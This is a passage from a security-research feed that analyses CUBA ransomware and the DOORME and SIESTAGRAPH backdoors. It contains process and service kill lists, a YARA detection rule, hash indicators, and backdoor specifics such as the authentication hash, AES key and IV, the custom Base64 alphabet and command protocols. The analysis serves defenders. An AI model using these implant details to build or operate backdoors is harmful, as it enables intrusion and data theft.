| File Size        | Chunk Size           | Skipped Size |
| Less than 2 MB   | All the file content | 0 MB         |
| Less than 10 MB  | 1MB                  | 4 MB         |
| Less than 50 MB  | 1MB                  | 8 MB         |
| Less than 200 MB | 1MB                  | 16 MB        |
| Less than 10 GB  | 1MB                  | 200 MB       |
| More than 10 GB  | 1MB                  | 500 MB       |</p>
<p>Finally, it will rename the file by adding the extension .cuba.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf4853d371200ecae/6a7c7b9d5967e57d765d7480/image9-cuba-ransomware-elastic.jpg" alt="" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdb2f7df8f8f6146d/6a7c7ba0ead8ec1f77ba4851/image4-cuba-ransomware-elastic.jpg" alt="" /></p>
<h2 id="mitreattcktechniques">MITRE ATT&amp;CK Techniques</h2>
<p>Using the MITRE ATT&amp;CK® framework, techniques and sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1486/">Data Encrypted for Impact</a></li>
<li><a href="https://attack.mitre.org/techniques/T1135/">Network Share Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1489/">Service Stop</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/004/">Indicator Removal on Host: File Deletion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/002/">Obfuscated Files or Information: Software Packing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1016/">System Network Configuration Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1614/001/">System Location Discovery: System Language Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1486/">Data Encrypted for Impact</a></li>
<li><a href="https://attack.mitre.org/techniques/T1134/">Access Token Manipulation</a></li>
</ul>
<h2 id="appendix">Appendix</h2>
<h3 id="listofterminatedprocesses">List of Terminated Processes</h3>
<ul>
<li>sqlagent.exe</li>
<li>sqlservr.exe</li>
<li>sqlwriter.exe</li>
<li>sqlceip.exe</li>
<li>msdtc.exe</li>
<li>sqlbrowser.exe</li>
<li>vmwp.exe</li>
<li>vmsp.exe</li>
<li>outlook.exe</li>
<li>Microsoft.Exchange.Store.Worker.exe</li>
</ul>
<h3 id="listofterminatedservices">List of Terminated Services</h3>
<ul>
<li>MySQL</li>
<li>MySQL80</li>
<li>SQLSERVERAGENT</li>
<li>MSSQLSERVER</li>
<li>SQLWriter</li>
<li>SQLTELEMETRY</li>
<li>MSDTC</li>
<li>SQLBrowser</li>
<li>vmcompute</li>
<li>vmms</li>
<li>MSExchangeUMCR</li>
<li>MSExchangeUM</li>
<li>MSExchangeTransportLogSearch</li>
<li>MSExchangeTransport</li>
<li>MSExchangeThrottling</li>
<li>MSExchangeSubmission</li>
<li>MSExchangeServiceHost</li>
<li>MSExchangeRPC</li>
<li>MSExchangeRepl</li>
<li>MSExchangePOP3BE</li>
<li>MSExchangePop3</li>
<li>MSExchangeNotificationsBroker</li>
<li>MSExchangeMailboxReplication</li>
<li>MSExchangeMailboxAssistants</li>
<li>MSExchangeIS</li>
<li>MSExchangeIMAP4BE</li>
<li>MSExchangeImap4</li>
<li>MSExchangeHMRecovery</li>
<li>MSExchangeHM</li>
<li>MSExchangeFrontEndTransport</li>
<li>MSExchangeFastSearch</li>
<li>MSExchangeEdgeSync</li>
<li>MSExchangeDiagnostics</li>
<li>MSExchangeDelivery</li>
<li>MSExchangeDagMgmt</li>
<li>MSExchangeCompliance</li>
<li>MSExchangeAntispamUpdate</li>
</ul>
<h3 id="excludeddirectories">Excluded Directories</h3>
<ul>
<li>\windows\</li>
<li>\program files\microsoft office\</li>
<li>\program files (x86)\microsoft office\</li>
<li>\program files\avs\</li>
<li>\program files (x86)\avs\</li>
<li>\$recycle.bin\</li>
<li>\boot\</li>
<li>\recovery\</li>
<li>\system volume information\</li>
<li>\msocache\</li>
<li>\users\all users\</li>
<li>\users\default user\</li>
<li>\users\default\</li>
<li>\temp\</li>
<li>\inetcache\</li>
<li>\google\</li>
</ul>
<h3 id="excludedfileextensions">Excluded File Extensions</h3>
<ul>
<li>.exe</li>
<li>.dll</li>
<li>.sys</li>
<li>.ini</li>
<li>.lnk</li>
<li>.vbm</li>
<li>.cuba</li>
</ul>
<h2 id="yararule">YARA Rule</h2>
<p>Elastic Security has created YARA rules to identify CUBA ransomware activity.</p>
<pre><code>rule Windows_Ransomware_Cuba {
    meta:
        os = "Windows"
        arch = "x86"
        category_type = "Ransomware"
        family = "Cuba"
        threat_name = "Windows.Ransomware.Cuba"
        Reference_sample = "33352a38454cfc247bc7465bf177f5f97d7fd0bd220103d4422c8ec45b4d3d0e"

    strings:
       $a1 = { 45 EC 8B F9 8B 45 14 89 45 F0 8D 45 E4 50 8D 45 F8 66 0F 13 }
       $a2 = { 8B 06 81 38 46 49 44 45 75 ?? 81 78 04 4C 2E 43 41 74 }
     $b1 = "We also inform that your databases, ftp server and file server were downloaded by us to our     servers." ascii fullword
       $b2 = "Good day. All your files are encrypted. For decryption contact us." ascii fullword
       $b3 = ".cuba" wide fullword

    condition:
        any of ($a*) or all of ($b*)
}
</code></pre>
<h2 id="observations">Observations</h2>
<p>Atomic indicators observed in our investigation.</p>
<p>|                                                                  |        |                 |
| ---------------------------------------------------------------- | ------ | --------------- |
| Indicator                                                        | Type   | Note            |
| 32beefe2c5e28e87357813c0ef91f47b631a3dff4a6235256aa123fc77564346 | SHA256 | CUBA Ransomware |
| 0f385cc69a93abeaf84994e7887cb173e889d309a515b55b2205805bdfe468a3 | SHA256 | CUBA Ransomware |
| bcf0f202db47ca671ed6146040795e3c8315b7fb4f886161c675d4ddf5fdd0c4 | SHA256 | CUBA Ransomware |</p>
<h2 id="artifacts">Artifacts</h2>
<p>Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/cuba-ransomware-malware-analysis</link>
    <guid isPermaLink="false">cuba-ransomware-malware-analysis</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Salim Bitam]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltca3a49199e11260e/6a7c7ba3227b1c1b8b5925e1/blog-thumb-coin-stacks.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 14 Feb 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Update to the REF2924 intrusion set and related campaigns]]></title>
    <description><![CDATA[Elastic Security Labs is providing an update to the REF2924 research published in December of 2022. This update includes malware analysis of the implants, additional findings, and associations with other intrusions.]]></description>
    <content:encoded><![CDATA[<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>DOORME is a malicious IIS module that provides remote access to a contested network.</li>
<li>SIESTAGRAPH interacts with Microsoft’s GraphAPI for command and control using Outlook and OneDrive.</li>
<li>SHADOWPAD is a backdoor that has been used in multiple campaigns attributed to a regional threat group with non-monetary motivations.</li>
<li>REF2924 analytic update incorporating third-party and previously undisclosed incidents linking the REF2924 adversary to Winnti Group and ChamelGang along technical, tactical, and victim targeting lines.</li>
</ul>
<h2 id="preamble">Preamble</h2>
<p>This research highlights the capabilities and observations of the two backdoors, named "DOORME" and "SIESTAGRAPH", and a backdoor called “SHADOWPAD” that was <a href="https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">disclosed by Elastic</a> in December of 2022. DOORME is an IIS (Internet Information Services) backdoor module, which is deployed to web servers running the IIS software. SIESTAGRAPH is a .NET backdoor that leverages the Microsoft Graph interface, a collection of APIs for accessing various Microsoft services. SHADOWPAD is an actively developed and maintained modular remote access toolkit.</p>
<p>DOORME, SIESTAGRAPH, and SHADOWPAD each implement different functions that can be used to gain and maintain unauthorized access to an environment. The exact details of these functionalities will be described in further detail in this research publication. It is important to note that these backdoors can be used to steal sensitive information, disrupt operations, and gain a persistent presence in a victim environment.</p>
<p>Additionally, we will discuss the relationships between REF2924 and three other intrusions carried out by the same threat group, intrusion set, or both. These associations are made using first-party observations and third-party reporting. They have allowed us to state with moderate confidence that SIESTAGRAPH, DOORME, SHADOWPAD, and other elements of REF2924 are attributed to a regional threat group with non-monetary motivations.</p>
<blockquote>
  <p>Additional information on the REF2924 intrusion setFor additional information on this intrusion set, which includes our initial disclosure as well as information into the campaign targeting the Foreign Ministry of an ASEAN member state, check out our <a href="https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">previous research into REF2924</a>.</p>
</blockquote>
<h2 id="doormecodeanalysis">DOORME code analysis</h2>
<h3 id="introductiontobackdoorediismodules">Introduction to backdoored IIS modules</h3>
<p><a href="https://www.iis.net/">IIS</a>, developed by Microsoft, is an extensible web server software suite that serves as a platform for hosting websites and server-side applications within the Windows environment. With version 7.0, Microsoft has equipped IIS with a modular architecture that allows for the dynamic inclusion or exclusion of modules to suit various functional requirements. These modules correspond to specific features that the server can utilize to handle incoming requests.</p>
<p>As an example, a backdoored module that overrides the <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-onglobalprebeginrequest-method"><strong>OnGlobalPreBeginRequest</strong></a>event can be used to perform various malicious activities - such as capturing sensitive user information submitted to webpages, injecting malicious code into content served to visitors, or providing the attacker remote access to the web server. It is possible that a malicious module could intercept and modify a request before it is passed on to the server, adding an HTTP header or query string parameter that includes malicious code. When the server processes that modified request, the malicious code might be executed, allowing the attacker to gain unauthorized access or control the server and its resources.</p>
<p>Adding to the danger of IIS backdoors is that they can be stealthy and organizations may not be aware that they have been compromised. Many companies do not have the resources or expertise to regularly monitor and test their IIS modules for vulnerabilities and malicious code, which can make it difficult to detect and remediate backdoors. To mitigate these risks, organizations should maintain a comprehensive inventory of all IIS modules and implement network and endpoint protection solutions to help detect and respond to malicious activities. Elastic Security Labs has seen increased use of this persistence mechanism coupled with defense evasions, which may disproportionately impact those hosting on-premises servers running IIS.</p>
<h3 id="introductiontothedoormeiismodule">Introduction to the DOORME IIS module</h3>
<p>DOORME is a native backdoor module that is loaded into a victim's IIS infrastructure and used to provide remote access to the target infrastructure. We <a href="https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">first discussed</a> the DOORME sample that we observed targeting the Foreign Ministry of an ASEAN member nation in December of 2022.</p>
<p>DOORME uses the <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/pfn-registermodule-function"><strong>RegisterModule</strong></a> function, which is an export of a malicious C++ DLL module and is responsible for loading the module and setting up event handler methods. It also dynamically resolves API libraries that will be used later. The main functionality of the backdoor is implemented in the <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-class"><strong>CGlobalModule</strong></a>class and its event handler, <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-onglobalprebeginrequest-method"><strong>OnGlobalPreBeginRequest</strong></a>. This event handler is overridden by DOORME, allowing it to be loaded before a web request enters the IIS pipeline. The core functions of the backdoor (including cookie validation, parsing commands, and calling underlying command functions) are all located within this event handler. DOORME uses multiple obfuscation methods, an authentication mechanism, AES encryption implementation, and a purpose-built series of commands.</p>
<p>This diagram illustrates the contrast between an attacker attempting to connect to a backdoored IIS server and a legitimate user simply trying to access a webpage.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc5c10433ca305b4f/6a7c98543ce8e2b783cefc0c/image33.jpg" alt="Overview diagram of the DOORME backdoor" title="Overview diagram of the DOORME backdoor" /></p>
<h3 id="obfuscation">Obfuscation</h3>
<h4 id="stringobfuscation">String obfuscation</h4>
<p>DOORME XOR-encrypts strings to evade detection. These encrypted strings are then stored on the memory stack. As the original plaintext is obscured this string obfuscation makes it more difficult for security software or researchers to understand the purpose or meaning of the strings. The malware uses the first byte of every encrypted blob to XOR-decrypt the strings.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt09d872f947b5655e/6a7c98571967eaacbb32ad53/image22.jpg" alt="Pseudocode showcasing string obfuscation" title="Pseudocode showcasing string obfuscation" /></p>
<h4 id="antidisassemblytechnique">Anti-disassembly technique</h4>
<p>The malware employs a technique that can cause disassemblers to incorrectly split functions in the code, which leads to the generation of incorrect assembly graphs. This technique can make it more challenging for analysts to understand the malware's behavior and create an effective defense against it.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6d653b21ca437ba7/6a7c985a80ee38ccae60d5f2/image14.jpg" alt="Gaps in the assembly view of IDA pro" title="Gaps in the assembly view of IDA pro" /></p>
<h4 id="controlflowobfuscation">Control flow obfuscation</h4>
<p>The malware in question also employs a technique known as <a href="https://unprotect.it/technique/obscuring-control-flow/">Control Flow Obfuscation (CFO)</a> to complicate the analysis of its behavior. CFO is a technique where the flow of instructions in the code is deliberately manipulated to make it more difficult for security software and researchers to understand the malware's functionality.</p>
<p>The malware uses CFO to complicate the analysis process, but it is noteworthy that this technique is not applied to the entire codebase. From an analysis point of view, this tells us that these strings are of particular importance to the malware author - possibly to frustrate specific security tooling. The following example serves as a demonstration of how the malware uses CFO to conceal its functionality in the context of stack string XOR decryption.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt04acb685163b0b54/6a7c985de3a219ff25999c4b/image28.jpg" alt="Pseudocode showcasing CFO example" title="Pseudocode showcasing CFO example" /></p>
<h4 id="dynamicimporttableresolutionobfuscation">Dynamic import table resolution obfuscation</h4>
<p>Dynamic import table resolution is a technique used by malicious software to evade detection by security software. It involves resolving the names of the Windows APIs that the malware needs to function at runtime, rather than hard coding the addresses of these APIs in the malware's import table.</p>
<p>DOORME first resolves the address of <strong>LoadLibraryA</strong> and <strong>GetProcAddress</strong> Windows API by parsing the <strong>kernel32.dll</strong> module export table, then uses the <strong>GetProcAddress</strong> function to locate the desired APIs within the modules by specifying the name of the API and the name of the DLL module that contains it.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt00c52a50fe13c060/6a7c98607cfd7a88b23151ec/image1.jpg" alt="Pseudocode showcasing import address table resolution" title="Pseudocode showcasing import address table resolution" /></p>
<h3 id="executionflow">Execution flow</h3>
<h4 id="authentication">Authentication</h4>
<p>The malicious IIS module backdoor operates by looking for the string " <strong>79cfdd0e92b120faadd7eb253eb800d0</strong>" (the MD5 hash sum of a profane string), in a specific cookie of the incoming HTTP requests, when found it will parse the rest of the request.</p>
<h4 id="getrequesthandling">GET request handling</h4>
<p><strong>GET</strong> requests are used to perform a status check: the malware returns the string “ <strong>It works!”</strong> followed by the <strong>username</strong> and the <strong>hostname</strong> of the infected machine. This serves as a means for the malware to confirm its presence on an infected machine.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7f4e74bdb3e330be/6a7c986296b5a66951875a9e/image3.jpg" alt="GET request to the backdoor using curl command" title="GET request to the backdoor using curl command" /></p>
<h4 id="postrequestshandling">POST requests handling</h4>
<p>The backdoor operator sends commands to the malware through HTTP POST requests as data which is doubly encrypted. Commands are AES-encrypted and then Base64 encoded, which the DOORME backdoor then decrypts.</p>
<h4 id="base64implementation">Base64 implementation</h4>
<p>The malware's implementation of Base64 uses a different index table compared to the default Base64 encoding RFC. The specific index table used by the malware is <strong>"VZkW6UKaPY8JR0bnMmzI4ugtCxsX2ejiE5q/9OH3vhfw1D+lQopdABTLrcNFGSy7"</strong> , while the normal index table used by the Base64 algorithm is <strong>"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"</strong>. This deviation from the standard index table makes it more difficult to decode the encoded data and highlights additional custom obfuscation techniques by the DOORME malware author in an attempt to frustrate analysis.</p>
<h4 id="aesalgorithmimplementation">AES algorithm implementation</h4>
<p>The malware uses <a href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard">AES (Advanced Encryption Standard)</a> in CBC (Cipher Block Chaining) mode to encrypt and decrypt data. It uses the MD5 hash of the first 16 bytes of the authentication hash " <strong>79cfdd0e92b120faadd7eb253eb800d0</strong>", as the AES key. The initialization vector (IV) of the algorithm is the MD5 hash of the AES key.</p>
<p>In our case the AES key is “ <strong>5a430ab45c7e142c70018b99fe0d2da3”</strong> and the AES IV is “ <strong>57ce15b304a97772”</strong>.</p>
<h3 id="commandhandlingtable">Command handling table</h3>
<p>The backdoor is capable of executing four different commands, each with its own set of parameters. To specify which command to run and pass the necessary parameters, the operators of the backdoor use a specific syntax. The command ID and its parameters are separated by the "pipe" symbol( <strong>|</strong> ).</p>
<h4 id="commandid0x42">Command ID 0x42</h4>
<p>The first command implemented has the ID <strong>0x42</strong> and generates a Globally Unique Identifier (GUID) by calling the API <strong>CoCreateGuid</strong>. Used to identify the infected machine, this helps to track infected machines and allows the attacker to focus on specific high-value environments.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4c7e4098cbedf9ce/6a7c986596b5a65136875aa4/image13.jpg" alt="Pseudocode generating the GUID" title="Pseudocode generating the GUID" /></p>
<h4 id="commandid0x43">Command ID 0x43</h4>
<p>Another command, ID <strong>0x43</strong> , is particularly noteworthy as it allows the attacker to execute shellcode in the memory of the same process. This functionality is achieved by utilizing the Windows native functions <strong>NtAllocateVirtualMemory</strong> and <strong>NtCreateThreadEx</strong>.</p>
<p>The <strong>NtAllocateVirtualMemory</strong> function is used to allocate memory in the same process for shellcode, while the <strong>NtCreateThreadEx</strong> function creates an execution thread with shellcode in that newly-allocated memory.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2f16a1d44e57d678/6a7c98683ce8e248a5cefc2a/image27.jpg" alt="Pseudocode self-shellcode injection" title="Pseudocode self-shellcode injection" /></p>
<h4 id="commandid0x63">Command ID 0x63</h4>
<p>Command ID <strong>0x63</strong> allows the attacker to send a blob of shellcode in chunks, which the malware reassembles to execute. It works by sending this command ID with a shellcode chunk as a parameter. Implants can detect that the shellcode has been fully received when the server communicates a different shellcode size than expected. This approach allows the malware to handle large shellcode objects with minimal validation.</p>
<h4 id="commandid0x44">Command ID 0x44</h4>
<p>Command ID <strong>0x44</strong> provides a means of interacting with the shellcode being executed on the infected system. The attacker can send input to the shellcode and retrieve its output via a named pipe. This allows the attacker to control the execution of the shellcode and receive feedback, which may help to capture the output of tools deployed in the environment via the DOORME implant.</p>
<h3 id="doormesummary">DOORME Summary</h3>
<p>In summary, DOORME provides a dangerous capability allowing attackers to gain unauthorized access to the internal network of victims through an internet-facing IIS web server. It includes multiple obfuscation techniques to evade detection, as well as the ability to execute additional malware and tools. Malware authors are increasingly leveraging IIS as covert backdoors that hide deep within the system. To protect against these threats, it is important to continuously monitor IIS servers for any suspicious activity, processes spawned from the IIS worker process ( <strong>w3wp.exe</strong> ), and the creation of new executables.</p>
<h2 id="siestagraphcodeanalysis">SIESTAGRAPH code analysis</h2>
<h3 id="introductiontothesiestagraphimplant">Introduction to the SIESTAGRAPH implant</h3>
<p>The implant utilizes the <a href="https://learn.microsoft.com/en-us/graph/overview">Microsoft Graph API</a> to access Microsoft 365 Mail and OneDrive for its C2 communication. It uses a predetermined tenant identifier and a refresh token to obtain access tokens. The implant uses the legitimate <a href="https://github.com/KoenZomers/OneDriveAPI">OneDriveAPI library</a> which simplifies the process of interacting with the Microsoft API and allows for efficient management of access and refresh tokens. The implant leverages sleep timers in multiple locations as a defense evasion technique. This led to the implant’s name: SIESTAGRAPH.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5655d0d50a00a350/6a7c986b7cfd7acccf3151f9/image11.jpg" alt="Overview diagram of the SIESTAGRAPH implant" title="Overview diagram of the SIESTAGRAPH implant" /></p>
<h3 id="executionflow-1">Execution flow</h3>
<p>SIESTAGRAPH starts and enters its main function which will set up the needed parameters to access Microsoft GraphAPI by requesting an access token based on a hard coded refresh token.</p>
<p>![Initial setup of SIESTAGRAPH](/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image26.jpg</p>
<p>During the setup phase the malware uses the <a href="https://learn.microsoft.com/en-us/troubleshoot/azure/active-directory/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications:~:text=Microsoft%20Office,4102%2Daeff%2Daad2292ab01c">Microsoft Office GUID</a> ( <strong>d3590ed6-52b3-4102-aeff-aad2292ab01c</strong> ). This is needed to supply access to both Microsoft 365 Mail and OneDrive.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd01ecf4d632af188/6a8859ad8c5a3e404a87e84d/image19.jpg" alt="Request an authentication token" title="Request an authentication token" /></p>
<h3 id="authentication-1">Authentication</h3>
<p>The SIESTAGRAPH author utilized a pre-determined tenant identifier and a refresh token to obtain access tokens. Both of these elements are essential in making a request for an access token. It is important to note that access tokens possess a limited lifespan, however, the refresh token can be utilized to request new access tokens as necessary.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6e51cea032cdc16e/6a8859b0c2617c81cae1f5ab/image15.jpg" alt="Hard coded tenant and refresh tokens" title="Hard coded tenant and refresh tokens" /></p>
<p>To facilitate this process, the attacker utilized a third-party and legitimate library named <a href="https://github.com/KoenZomers/OneDriveAPI">OneDriveAPI</a>. This library simplifies the process of interacting with the Microsoft API and allows for efficient management of access and refresh tokens. It should be noted that although third-party libraries such as OneDriveAPI can provide a convenient way to interact with APIs, they should not be considered to be malicious.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5823dfe5c79d0b29/6a8859b39a32f1cfa0a84e46/image21.jpg" alt="Use of third-party libraries" title="Use of third-party libraries" /></p>
<p>The malware utilizes the <strong>GetAccessTokenFromRefreshToken</strong> method to request an authentication token. This token is then used in all subsequent API requests.</p>
<p>Refresh tokens have a <a href="https://learn.microsoft.com/en-us/microsoft-365/enterprise/session-timeouts?view=o365-worldwide#:~:text=The%20default%20lifetime%20for%20the%20access%20token%20is%201%20hour.%20The%20default%20max%20inactive%20time%20of%20the%20refresh%20token%20is%2090%20days">90-day expiration window</a>. So while the access token was being used by the Graph API for C2, the refresh token, which is needed to generate new access tokens, was not used within the expiration window. The refresh token was generated on 2022-11-01T03:03:44.3138133Z and expired on 2023-01-30T03:03:44.3138133Z. This means that a new refresh token will be needed before a new access token can be generated. As the refresh token is hard coded into the malware, we can expect SIESTAGRAPH to be updated with a new refresh token if it is intended to be used in the future.</p>
<h3 id="commandandcontrol">Command and control</h3>
<p>A session token ( <strong>sessionToken</strong> ) is created by concatenating the process ID, machine name, username, and operating system. The session token is later used to retrieve commands intended for this specific implant.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb808462756867a9e/6a8859b6d11d3bfbc16b118b/image5.jpg" alt="Defining the session token" title="Defining the session token" /></p>
<p>After obtaining authentication and session tokens, the malware collects system information and exfiltrates it using a method called <strong>sendSession</strong>.</p>
<p>Inspecting the <strong>sendSession</strong> method we see that it creates an email message and saves it as a draft. Using draft messages is common C2 tradecraft as a way to avoid email interception and inspection.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb1baf7cc10290e7d/6a8859b908baf3bab306208e/image6.jpg" alt="The sendMessage method" title="The sendMessage method" /></p>
<p>After sending the session information to the attacker, the implant enters a loop in which it will check for new commands. By default, this beaconing interval is every 5 seconds, however, this can be adjusted by the attacker at any time.</p>
<p>When receiving a command, the implant will use the <strong>getMessages</strong> method to check for any draft emails with commands from the attacker.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt823dacd95601fcf7/6a8859bb9bbfdbd372cd0dea/image9.jpg" alt="The getMessage method" title="The getMessage method" /></p>
<p>With every call that contacts the Graph API, SIESTAGRAPH will receive the current authentication token ( <strong>authToken</strong> ). This token is then used in the HTTP request header following the <strong>Authorization: Bearer</strong> ( <strong>“Authorization”, “Bearer “ + authToken</strong> ).</p>
<p>Every call to this method will contain the <strong>sessionToken</strong> , a command, and command arguments, separated with colons ( <strong>:</strong> ) ( <strong><code>&lt;sessionToken&gt;:&lt;Command&gt;:&lt;command arguments&gt;</code></strong> ).</p>
<p>If a command has multiple arguments they will be split by a pipe ( <strong>|</strong> ). An example of this is the <strong>rename</strong> command where the source and destination names are split by a pipe.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbb45971976ae4cd1/6a8859beba7accfac7998c79/image2.jpg" alt="Using a pipe for separating arguments" title="Using a pipe for separating arguments" /></p>
<p>We have identified the following commands:</p>
<p>| Command text   | Description                                                                   |
| -------------- | ----------------------------------------------------------------------------- |
| C              | Run a command                                                                 |
| N              | Update the amount of time the binary will sleep between check-ins             |
| D              | Upload a file to OneDrive                                                     |
| U              | Download Item from Onedrive                                                   |
| UU             | Check to see is Core.bin exists then Download item from Onedrive              |
| ListDrives     | Send a list of the logical drives                                             |
| GetDirectories | Send a list of given subdirectories                                           |
| GetFiles       | Send a list of files in a given directory                                     |
| Del            | Delete a given file                                                           |
| Rename         | Rename a given file or directory                                              |
| P              | Get a list of running processes                                               |
| E              | Ends the execution of the binary                                              |
| K              | Kill a given process ID                                                       |
| S              | Update the amount of time the binary will sleep between check-ins (same as N) |
| NET            | Get network information                                                       |
| SS             | Take a screenshot                                                             |</p>
<p>Several commands are self-explanatory ( <strong>ListDrives</strong> , <strong>Rename</strong> , etc.), however the run commands, update sleep timer, upload and download files, and take screenshots are more interesting and can provide a better understanding of the capabilities of SIESTAGRAPH.</p>
<h4 id="cruncommand">C - run command</h4>
<p>When the <strong>C</strong> command is received the malware runs the <strong>runCommand</strong> method. This method takes in the name of <strong>cmd.exe</strong> , the command line to run, and the number of milliseconds to wait for the new process to exit.</p>
<p>If the command parameter is not null or empty, the method proceeds to create a new instance of the <strong>System.Diagnostics.Process</strong> class, which is used to start and interact with a new process. It sets the properties of the process instance's <strong>StartInfo</strong> property, which is of the <strong>ProcessStartInfo</strong> class, such as the <strong>FileName</strong> property to the <strong>cmd</strong> parameter passed to the method, the <strong>Arguments</strong> property to <strong>/c</strong> concatenated with the command parameter, and also sets <strong>UseShellExecute</strong> , <strong>RedirectStandardInput</strong> , <strong>RedirectStandardOutput</strong> , <strong>RedirectStandardError,</strong> and <strong>CreateNoWindow</strong> property. As this method is only called with the hard coded value of <strong>cmd</strong> for the <strong>cmd</strong> parameter, the resulting command will always be <strong><code>cmd /c &lt;command to run&gt;</code></strong>. This is a common way to run commands if one does not have direct access to an interactive shell.</p>
<p>![The runCommand method](/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image26.jpg</p>
<h4 id="nsleeptimerupdate">N - Sleep timer update</h4>
<p>The sleep command is a single instruction. If the argument for the command is larger than 1000, the value for the <strong>SleepTimer</strong> variable is updated. This variable is later used to determine how long the process will sleep in between check-ins.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte6de2da567f72c22/6a8859c1d11d3b08f16b118f/image4.jpg" alt="Updating the SleepTimer" title="Updating the SleepTimer" /></p>
<h4 id="duploadtoonedrive">D - Upload to OneDrive</h4>
<p>The <strong>D</strong> command is issued from the attacker’s perspective, so while they’re “downloading” from OneDrive, the host is “uploading” to OneDrive</p>
<p>The method receives a <strong>filePath</strong> , and the authentication and session tokens. It will then upload the requested file to OneDrive. If the file is successfully uploaded, a response message is sent to the attacker using the format <strong>OK|C:\foo\file.txt</strong>.</p>
<p>If the upload did not succeed the attacker will receive the error message <strong><code>OK|&lt;Error message&gt;</code></strong>.</p>
<p>While this method might seem simple it helps to avoid detection by using common libraries while achieving the goal of exfiltrating data from the victim. While unconfirmed, this could be how the <a href="https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry#exporting-exchange-mailboxes">exported Exchange mailboxes</a> were collected by the threat actor.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta3f54dcd96459506/6a8859c48c2944661db8feac/image20.jpg" alt="The uploadFile method" title="The uploadFile method" /></p>
<h4 id="udownloadfromonedrive">U - Download from OneDrive</h4>
<p>The download function is similar to the upload function. Again, from the attacker's perspective, the <strong>U</strong> command stands for upload. As the file is downloaded from OneDrive by the implant, but uploaded by the attacker.</p>
<h4 id="netgathernetworkinformation">NET - Gather network information</h4>
<p>The <strong>NET</strong> command will gather network information and send it back to the attacker. In order to gather the information the binary first resolves two functions from the DLLs, <strong>Ws2_32.dll</strong> (the Windows socket API) and <strong>iphlpapi.dll</strong> (the Windows IP helper API).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt17de2ff5b584bde5/6a8859c7d11d3b674a6b119b/image29.jpg" alt="Revolve functions from Ws2_32.dll and iphlpapi.dll" title="Revolve functions from Ws2_32.dll and iphlpapi.dll" /></p>
<p>The <strong>NET</strong> command gathers information about open TCP connections from the system's TCP table. It then loops over all open connections and stores the information in an array that is sent back to the attacker. This code helps the attacker to get a better insight into the system's purpose within the network. As an example, if there are open connections for ports 587, 993, and 995, the host could be a Microsoft Exchange server.</p>
<h4 id="sstakescreenshot">SS - Take screenshot</h4>
<p>To see the victim's desktop, SIESTAGRAPH can call the method named <strong>TakeScreenShot</strong> which takes a screenshot of the primary monitor and returns the screenshot as a Base64 encoded string.</p>
